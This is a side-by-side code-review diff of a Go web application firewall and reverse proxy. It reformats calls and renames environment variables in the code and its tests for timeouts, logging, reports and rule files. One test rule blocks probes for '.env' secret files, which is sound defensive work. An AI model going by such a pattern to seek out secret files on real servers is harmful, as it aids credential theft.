if line["status"] != float64(tc.status) || if line["status"] != float64(tc.status) || line["default_disposition"] != nil {
line["default_disposition"] != nil { t.Errorf("line %v, want status %d and no default", line, tc.status)
t.Errorf(
"line %v, want status %d and no default",
line,
tc.status,
)
} }
if out.has("waf gave no answer") { if out.has("waf gave no answer") {
@@ -1118,8 +1033,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
}) })
got := get(t, addr, "/") got := get(t, addr, "/")
if got.status != http.StatusInternalServerError || if got.status != http.StatusInternalServerError || len(got.body) != size {
len(got.body) != size {
t.Errorf("answered %d with %d bytes, want waf's 500 with %d", t.Errorf("answered %d with %d bytes, want waf's 500 with %d",
got.status, len(got.body), size) got.status, len(got.body), size)
} }
@@ -1131,11 +1045,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
func startWAFWriting(t *testing.T, text string) string { func startWAFWriting(t *testing.T, text string) string {
t.Helper() t.Helper()
listener, err := (&net.ListenConfig{}).Listen( listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
t.Context(),
"tcp",
localhost+":0",
)
if err != nil { if err != nil {
t.Fatalf("listen: %v", err) t.Fatalf("listen: %v", err)
} }
@@ -1213,15 +1123,10 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, out := startRProxy( addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
t, timeoutSetting: "60000",
backend(t), defaultDisposition: setting,
app.URL, })
map[string]string{
timeoutSetting: "60000",
defaultDisposition: setting,
},
)
if got := get(t, addr, "/"); got.status != http.StatusBadGateway { if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
t.Errorf("answered %+v, want 502", got) t.Errorf("answered %+v, want 502", got)
@@ -1230,10 +1135,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != float64(http.StatusBadGateway) || if line["status"] != float64(http.StatusBadGateway) ||
line["disposition"] != nil || line["default_disposition"] != nil { line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf( t.Errorf("line %v, want status 502 and no disposition", line)
"line %v, want status 502 and no disposition",
line,
)
} }
out.waitFor(t, "waf's answer is dropped") out.waitFor(t, "waf's answer is dropped")
@@ -1266,14 +1168,9 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
t.Parallel() t.Parallel()
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy( addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
t, timeoutSetting: "200",
backend(t), })
app.URL,
map[string]string{
timeoutSetting: "200",
},
)
wantGreeting(t, get(t, addr, "/")) wantGreeting(t, get(t, addr, "/"))
@@ -1290,15 +1187,10 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, out := startRProxy( addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
t, timeoutSetting: "200",
backend(t), defaultDisposition: dispositionDeny,
app.URL, })
map[string]string{
timeoutSetting: "200",
defaultDisposition: dispositionDeny,
},
)
got := get(t, addr, "/") got := get(t, addr, "/")
if got.status != http.StatusServiceUnavailable { if got.status != http.StatusServiceUnavailable {
@@ -1321,24 +1213,16 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
t.Run("with the default "+disposition, func(t *testing.T) { t.Run("with the default "+disposition, func(t *testing.T) {
t.Parallel() t.Parallel()
standIn := startWAF( standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) {
t, <-r.Context().Done()
func(_ http.ResponseWriter, r *http.Request) { })
<-r.Context().Done()
},
)
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked") t.Error("the app was asked")
}) })
addr, out := startRProxy( addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
t, timeoutSetting: "60000",
standIn.URL, defaultDisposition: disposition,
app.URL, })
map[string]string{
timeoutSetting: "60000",
defaultDisposition: disposition,
},
)
conn := dial(t, addr) conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n") send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
@@ -1556,21 +1440,12 @@ func TestReportGivesWhatHappened(t *testing.T) {
report.ResponseBytes != int64(len(greeting)) || report.ResponseBytes != int64(len(greeting)) ||
report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 || report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
report.DurationUpstreamTotalMS > report.DurationTotalMS { report.DurationUpstreamTotalMS > report.DurationTotalMS {
t.Errorf( t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting))
"report %+v, of %d bytes up and %d back",
report,
len(body),
len(greeting),
)
} }
line := out.requestLine(t) line := out.requestLine(t)
if line["request_id"] != report.RequestID { if line["request_id"] != report.RequestID {
t.Errorf( t.Errorf("line %v, report %+v, want the same request id", line, report)
"line %v, report %+v, want the same request id",
line,
report,
)
} }
} }
@@ -1599,14 +1474,9 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
t.Cleanup(backend.Close) t.Cleanup(backend.Close)
app := startApp(t, greet) app := startApp(t, greet)
addr, _, server := startServer( addr, _, server := startServer(t, backend.URL, app.URL, map[string]string{
t, timeoutSetting: "5000",
backend.URL, })
app.URL,
map[string]string{
timeoutSetting: "5000",
},
)
wantGreeting(t, get(t, addr, "/")) wantGreeting(t, get(t, addr, "/"))
@@ -1662,11 +1532,7 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
_ = res.Body.Close() _ = res.Body.Close()
if res.StatusCode != http.StatusSwitchingProtocols { if res.StatusCode != http.StatusSwitchingProtocols {
t.Fatalf( t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
"status %d, want %d",
res.StatusCode,
http.StatusSwitchingProtocols,
)
} }
// Past both time limits, the connection still carries what is sent. // Past both time limits, the connection still carries what is sent.
@@ -1690,9 +1556,7 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
t.Errorf("report %+v, of %d bytes each way", report, len(message)) t.Errorf("report %+v, of %d bytes each way", report, len(message))
} }
if line := out.requestLine(t); line["status"] != float64( if line := out.requestLine(t); line["status"] != float64(res.StatusCode) {
res.StatusCode,
) {
t.Errorf("line %v, want status 101", line) t.Errorf("line %v, want status 101", line)
} }
} }
@@ -1847,8 +1711,7 @@ func TestEachRequestGetsAFreshID(t *testing.T) {
ids = append(ids, standIn.question(t).header.Get(requestIDHeader)) ids = append(ids, standIn.question(t).header.Get(requestIDHeader))
} }
if slices.Contains(ids, fromTraefik) || ids[0] == "" || if slices.Contains(ids, fromTraefik) || ids[0] == "" || ids[0] == ids[1] {
ids[0] == ids[1] {
t.Errorf("ids %v, want two fresh ones", ids) t.Errorf("ids %v, want two fresh ones", ids)
} }
} }
@@ -1866,13 +1729,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
app := startApp(t, greet) app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil) addr, out := startRProxy(t, standIn.URL, app.URL, nil)
req := newRequest( req := newRequest(t, http.MethodPost, addr, path+"?"+query, strings.NewReader(body))
t,
http.MethodPost,
addr,
path+"?"+query,
strings.NewReader(body),
)
req.Host = site req.Host = site
wantGreeting(t, visit(t, req)) wantGreeting(t, visit(t, req))
@@ -1898,10 +1755,7 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
} }
if line["default_disposition"] != nil { if line["default_disposition"] != nil {
t.Errorf( t.Errorf("default_disposition is %v, want it left out", line["default_disposition"])
"default_disposition is %v, want it left out",
line["default_disposition"],
)
} }
for _, name := range []string{"duration_request_ms", "duration_response_ms"} { for _, name := range []string{"duration_request_ms", "duration_response_ms"} {
+12 -29
View File
@@ -23,9 +23,7 @@ const answerBodyMaxBytes = 1 << 20
const reportAnswerMaxBytes = 4 << 10 const reportAnswerMaxBytes = 4 << 10
var ( var (
errCannotPassOn = errors.New( errCannotPassOn = errors.New("the answer cannot be passed to the visitor")
"the answer cannot be passed to the visitor",
)
errReportRefused = errors.New("the report was answered") errReportRefused = errors.New("the report was answered")
) )
@@ -67,9 +65,9 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
rq.answer(http.StatusBadGateway) rq.answer(http.StatusBadGateway)
default: default:
// waf cannot be connected to, does not answer at all, or does not answer // waf cannot be connected to, does not answer at all, or does not answer
// within SWRP_TIMEOUT_MS. A request that keeps waf busy past // within SWW_RPROXY_TIMEOUT_MS. A request that keeps waf busy past
// SWRP_TIMEOUT_MS, like any request while waf is overloaded, gets // SWW_RPROXY_TIMEOUT_MS, like any request while waf is overloaded, gets
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503 // SWW_RPROXY_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
// whenever waf is slow. Making such requests hard to send is // whenever waf is slow. Making such requests hard to send is
// https://git.eeqj.de/sneak/smallwebwaf/issues/182. // https://git.eeqj.de/sneak/smallwebwaf/issues/182.
rq.h.processLog.Warn("waf gave no answer", "error", err.Error()) rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
@@ -86,7 +84,7 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
} }
// ask sends waf the question, and returns its answer, which must have come // ask sends waf the question, and returns its answer, which must have come
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes // whole within SWW_RPROXY_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
// away. // away.
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) { func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout) ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
@@ -110,11 +108,7 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
// a read of that. Go's client also takes a status below 100, which Go's server // a read of that. Go's client also takes a status below 100, which Go's server
// panics when asked to send. // panics when asked to send.
if res.StatusCode < http.StatusOK { if res.StatusCode < http.StatusOK {
return nil, fmt.Errorf( return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
"%w: its status is %d",
errCannotPassOn,
res.StatusCode,
)
} }
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1)) body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
@@ -139,14 +133,10 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
// waf. // waf.
func canBeAsked(r *http.Request) bool { func canBeAsked(r *http.Request) bool {
target, host := r.RequestURI, r.Host target, host := r.RequestURI, r.Host
hostHasZone := strings.HasPrefix(host, "[") && hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
strings.Contains(host, "%")
return strings.HasPrefix(target, "/") && return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
!strings.HasPrefix(target, "//") && host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
host != "" &&
!hostHasZone &&
len(r.Header.Values("User-Agent")) <= 1
} }
// newQuestion returns the question about the request, as "The question" in // newQuestion returns the question about the request, as "The question" in
@@ -161,11 +151,7 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
} }
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
ctx, ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
in.Method,
rq.h.config.WAFBackend.String(),
bytes.NewReader(held),
)
if err != nil { if err != nil {
return nil, fmt.Errorf("make the question: %w", err) return nil, fmt.Errorf("make the question: %w", err)
} }
@@ -242,7 +228,7 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
} }
// postReport posts report to waf, and waits for its answer for up to // postReport posts report to waf, and waits for its answer for up to
// SWRP_TIMEOUT_MS. // SWW_RPROXY_TIMEOUT_MS.
func (h *handler) postReport(ctx context.Context, report *waf.Report) error { func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
body, err := json.Marshal(report) body, err := json.Marshal(report)
if err != nil { if err != nil {
@@ -268,10 +254,7 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
// The body of a 101 is the connection itself, and the time limit does not end // The body of a 101 is the connection itself, and the time limit does not end
// a read of that. // a read of that.
if res.StatusCode >= http.StatusOK { if res.StatusCode >= http.StatusOK {
_, _ = io.Copy( _, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
io.Discard,
io.LimitReader(res.Body, reportAnswerMaxBytes),
)
} }
_ = res.Body.Close() _ = res.Body.Close()
+18 -60
View File
@@ -1,5 +1,5 @@
// Package rules reads the rule files: the plain text files in // Package rules reads the rule files: the plain text files in
// SWW_RULES_DIR, one rule to a line, that each request is checked // SWW_WAF_RULES_DIR, one rule to a line, that each request is checked
// against, as the "Rule files" section of SPEC.md describes. They are read // against, as the "Rule files" section of SPEC.md describes. They are read
// at start, and again once the directory has had no change for a short // at start, and again once the directory has had no change for a short
// time after one is edited, added or removed. // time after one is edited, added or removed.
@@ -40,7 +40,7 @@ const (
// extension ends the name of every rule file. // extension ends the name of every rule file.
const extension = ".rules" const extension = ".rules"
// quietTime is how long SWW_RULES_DIR must go without a change before // quietTime is how long SWW_WAF_RULES_DIR must go without a change before
// the rule files are read again, so that a file still being written, such // the rule files are read again, so that a file still being written, such
// as one saved in place, appended to or copied in with scp, is read only // as one saved in place, appended to or copied in with scp, is read only
// once whole. // once whole.
@@ -63,9 +63,7 @@ const escapeLength = 3
var ( var (
// ruleLine is a rule: four fields separated by spaces or tabs, of // ruleLine is a rule: four fields separated by spaces or tabs, of
// which the fourth, the regex, runs to the end of the line. // which the fourth, the regex, runs to the end of the line.
ruleLine = regexp.MustCompile( ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`)
`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`,
)
// idChars are the characters of a rule's id. // idChars are the characters of a rule's id.
idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`) idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
) )
@@ -76,8 +74,7 @@ var (
"separated by spaces or tabs") "separated by spaces or tabs")
errNotID = errors.New("is not an id of letters, digits, - and _") errNotID = errors.New("is not an id of letters, digits, - and _")
errNotTarget = errors.New( errNotTarget = errors.New(
"is not path, query, uri, method, host, user_agent, referer or header:<Name>", "is not path, query, uri, method, host, user_agent, referer or header:<Name>")
)
errNotHeaderName = errors.New( errNotHeaderName = errors.New(
"has a character after header: that no header name can have") "has a character after header: that no header name can have")
errHeaderTakenOut = errors.New( errHeaderTakenOut = errors.New(
@@ -103,9 +100,9 @@ type Rule struct {
// Params are what Load needs. // Params are what Load needs.
type Params struct { type Params struct {
// Dir is the directory of the rule files (SWW_RULES_DIR). // Dir is the directory of the rule files (SWW_WAF_RULES_DIR).
Dir string Dir string
// Enabled is SWW_RULES_ENABLED: while it is false, no file is read // Enabled is SWW_WAF_RULES_ENABLED: while it is false, no file is read
// and no rule loaded. // and no rule loaded.
Enabled bool Enabled bool
// ProcessLog receives how many rules were read, and the error in a // ProcessLog receives how many rules were read, and the error in a
@@ -274,7 +271,7 @@ func (f *Files) logRead(count int) {
func read(dir string) ([]Rule, string, error) { func read(dir string) ([]Rule, string, error) {
entries, err := os.ReadDir(dir) entries, err := os.ReadDir(dir)
if err != nil { if err != nil {
return nil, dir, fmt.Errorf("SWW_RULES_DIR cannot be read: %w", err) return nil, dir, fmt.Errorf("SWW_WAF_RULES_DIR cannot be read: %w", err)
} }
var rules []Rule var rules []Rule
@@ -284,8 +281,7 @@ func read(dir string) ([]Rule, string, error) {
for _, entry := range entries { for _, entry := range entries {
name := entry.Name() name := entry.Name()
if entry.IsDir() || strings.HasPrefix(name, ".") || if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension {
filepath.Ext(name) != extension {
continue continue
} }
@@ -302,13 +298,8 @@ func read(dir string) ([]Rule, string, error) {
// readFile appends the rules of the rule file at path to rules. places // readFile appends the rules of the rule file at path to rules. places
// are where each id read so far is, and gain those of the file. // are where each id read so far is, and gain those of the file.
func readFile( func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
path string, data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_WAF_RULES_DIR
rules []Rule,
places map[string]string,
) ([]Rule, error) {
//nolint:gosec // a rule file, in SWW_RULES_DIR
data, err := os.ReadFile(path)
if err != nil { if err != nil {
return nil, err return nil, err
} }
@@ -332,13 +323,7 @@ func readFile(
first, used := places[rule.ID] first, used := places[rule.ID]
if used { if used {
return nil, fmt.Errorf( return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first)
"%s: the id %q %w %s",
place,
rule.ID,
errUsedTwice,
first,
)
} }
places[rule.ID] = place places[rule.ID] = place
@@ -370,42 +355,22 @@ func parse(line string) (Rule, bool, error) {
case !idChars.MatchString(rule.ID): case !idChars.MatchString(rule.ID):
return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID) return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
case !isTarget(rule.Target): case !isTarget(rule.Target):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget)
"the target %q %w",
rule.Target,
errNotTarget,
)
case isHeader && !config.IsHeaderName(headerName): case isHeader && !config.IsHeaderName(headerName):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName)
"the target %q %w",
rule.Target,
errNotHeaderName,
)
case strings.EqualFold(rule.Target, headerTarget+"Host"): case strings.EqualFold(rule.Target, headerTarget+"Host"):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf(
"the target %q %w; the request's host is the target host", "the target %q %w; the request's host is the target host",
rule.Target, errHeaderTakenOut) rule.Target, errHeaderTakenOut)
case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"): case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut)
"the target %q %w",
rule.Target,
errHeaderTakenOut,
)
case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action): case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction)
"the action %q %w",
rule.Action,
errNotAction,
)
} }
regex, err := regexp.Compile(fields[4]) regex, err := regexp.Compile(fields[4])
if err != nil { if err != nil {
return Rule{}, false, fmt.Errorf( return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err)
"the regex %w: %w",
errNotRegex,
err,
)
} }
rule.regex = regex rule.regex = regex
@@ -416,13 +381,7 @@ func parse(line string) (Rule, bool, error) {
// isTarget reports whether target is one a rule may have. // isTarget reports whether target is one a rule may have.
func isTarget(target string) bool { func isTarget(target string) bool {
switch target { switch target {
case pathTarget, case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
"query",
uriTarget,
"method",
"host",
"user_agent",
"referer":
return true return true
} }
@@ -438,8 +397,7 @@ func (rule Rule) matches(r *http.Request) bool {
target := value(rule.Target, r) target := value(rule.Target, r)
if rule.Target == pathTarget || rule.Target == uriTarget { if rule.Target == pathTarget || rule.Target == uriTarget {
return rule.regex.MatchString(target) || return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
rule.regex.MatchString(DecodeOnce(target))
} }
return rule.regex.MatchString(target) return rule.regex.MatchString(target)
+20 -81
View File
@@ -94,13 +94,7 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
got := len(files.Match(r)) == 1 got := len(files.Match(r)) == 1
if got != tc.want { if got != tc.want {
t.Errorf( t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want)
"%s matches %s: %t, want %t",
tc.rule,
tc.uri,
got,
tc.want,
)
} }
}) })
} }
@@ -129,12 +123,7 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) {
for _, target := range []string{ for _, target := range []string{
tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent, tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
} { } {
r := httptest.NewRequestWithContext( r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil)
t.Context(),
http.MethodGet,
target,
nil,
)
wantMatched(t, files, r, "as-sent") wantMatched(t, files, r, "as-sent")
} }
} }
@@ -157,20 +146,14 @@ after path log ^/
wantMatched(t, files, get(t, "/page"), "every-path", "after") wantMatched(t, files, get(t, "/page"), "every-path", "after")
// A ban rule ends it too. // A ban rule ends it too.
files = load( files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"})
t,
ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"},
)
wantMatched(t, files, get(t, "/"), "ban") wantMatched(t, files, get(t, "/"), "ban")
} }
func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) { func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
t.Parallel() t.Parallel()
files := load( files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"})
t,
ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"},
)
wantMatched(t, files, get(t, "/.env"), "env-file") wantMatched(t, files, get(t, "/.env"), "env-file")
} }
@@ -201,10 +184,7 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) {
// The lock file Emacs makes beside a file while it is edited: a link to // The lock file Emacs makes beside a file while it is edited: a link to
// nothing, which cannot be read. // nothing, which cannot be read.
err := os.Symlink( err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile))
"user@host.1234:1700000000",
filepath.Join(dir, ".#"+firstFile),
)
if err != nil { if err != nil {
t.Fatalf("symlink: %v", err) t.Fatalf("symlink: %v", err)
} }
@@ -296,8 +276,7 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) {
dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content}) dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
path := filepath.Join(dir, "00-default.rules") path := filepath.Join(dir, "00-default.rules")
want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want)
wantRefused(t, dir, want)
}) })
} }
} }
@@ -310,12 +289,8 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) {
"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n", "50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
}) })
wantRefused( wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
t, "is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1")
dir,
filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1",
)
} }
func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) { func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -323,16 +298,14 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
dir := filepath.Join(t.TempDir(), "rules.d") dir := filepath.Join(t.TempDir(), "rules.d")
wantRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+ wantRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
": no such file or directory") ": no such file or directory")
} }
func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) { func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
t.Parallel() t.Parallel()
params, lines := newParams( params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}))
writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}),
)
files, err := rules.Load(params) files, err := rules.Load(params)
if err != nil { if err != nil {
@@ -341,18 +314,14 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
line := lines.waitFor(t, read) line := lines.waitFor(t, read)
if files.Len() != 0 || line["rules"] != 0.0 { if files.Len() != 0 || line["rules"] != 0.0 {
t.Errorf( t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line)
"%d rules loaded, and the log says %v, want none",
files.Len(),
line,
)
} }
} }
func TestRuleFilesOffReadNothing(t *testing.T) { func TestRuleFilesOffReadNothing(t *testing.T) {
t.Parallel() t.Parallel()
// SWW_RULES_DIR does not exist, which would stop the start. // SWW_WAF_RULES_DIR does not exist, which would stop the start.
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d")) params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
params.Enabled = false params.Enabled = false
@@ -406,12 +375,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
// The edit's second line has an unknown action, so the rules stay as // The edit's second line has an unknown action, so the rules stay as
// they were, the first line's earlier version included. // they were, the first line's earlier version included.
save( save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n")
t,
dir,
firstFile,
"first path block ^/edited\nsecond path bann ^/second\n",
)
line := lines.waitFor(t, hasError) line := lines.waitFor(t, hasError)
want := filepath.Join(dir, firstFile) + want := filepath.Join(dir, firstFile) +
@@ -429,11 +393,7 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError || if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
waiting[0].Reason != hasError || waiting[0].Detail["error"] != want || waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
waiting[0].Detail["file"] != filepath.Join(dir, firstFile) { waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
t.Errorf( t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
"alerts waiting %+v, want one file_error alert for %q",
waiting,
want,
)
} }
} }
wantFileError() wantFileError()
@@ -442,16 +402,8 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
wantMatched(t, files, get(t, "/second")) wantMatched(t, files, get(t, "/second"))
// Once mended, the file is read again, and raises no alert. // Once mended, the file is read again, and raises no alert.
save( save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
t, lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
dir,
firstFile,
"first path block ^/edited\nsecond path ban ^/second\n",
)
lines.waitUntil(
t,
func() bool { return len(files.Match(get(t, "/second"))) == 1 },
)
wantMatched(t, files, get(t, "/edited"), "first") wantMatched(t, files, get(t, "/edited"), "first")
wantFileError() wantFileError()
} }
@@ -607,10 +559,7 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
// watch loads the rules in dir, runs their Watch until the test ends, and // watch loads the rules in dir, runs their Watch until the test ends, and
// waits until it watches the directory. It returns the alerts' queue as // waits until it watches the directory. It returns the alerts' queue as
// well. // well.
func watch( func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
t *testing.T,
dir string,
) (*rules.Files, processLog, *alerts.Queue) {
t.Helper() t.Helper()
params, lines := newParams(dir) params, lines := newParams(dir)
@@ -662,31 +611,21 @@ func get(t *testing.T, target string) *http.Request {
// wantRefusedBy checks that a GET request for target with the user agent // wantRefusedBy checks that a GET request for target with the user agent
// sent matches rule alone, and that rule refuses it. // sent matches rule alone, and that rule refuses it.
func wantRefusedBy( func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) {
t *testing.T,
files *rules.Files,
target, sent, rule string,
) {
t.Helper() t.Helper()
r := get(t, target) r := get(t, target)
r.Header.Set(userAgent, sent) r.Header.Set(userAgent, sent)
matched := files.Match(r) matched := files.Match(r)
if len(matched) != 1 || matched[0].ID != rule || if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog {
matched[0].Action == rules.ActionLog {
t.Errorf("%s from %q matched %v, want %s alone, refusing it", target, t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
sent, ids(matched), rule) sent, ids(matched), rule)
} }
} }
// wantMatched checks the ids of the rules r matches, in order. // wantMatched checks the ids of the rules r matches, in order.
func wantMatched( func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) {
t *testing.T,
files *rules.Files,
r *http.Request,
want ...string,
) {
t.Helper() t.Helper()
got := ids(files.Match(r)) got := ids(files.Match(r))
+42 -127
View File
@@ -1,14 +1,14 @@
// Package state keeps sww's state in JSON files, as the "Persistent // Package state keeps sww's state in JSON files, as the "Persistent
// state" section of SPEC.md requires and docs/state-files.md lists them. // state" section of SPEC.md requires and docs/state-files.md lists them.
// //
// The state files are in SWW_STATE_DIR: // The state files are in SWW_WAF_STATE_DIR:
// - bans.json holds the bans; // - bans.json holds the bans;
// - clients.json holds each client's counters and history; // - clients.json holds each client's counters and history;
// - abuseipdb-checks-spent.json holds the AbuseIPDB checks spent today; // - abuseipdb-checks-spent.json holds the AbuseIPDB checks spent today;
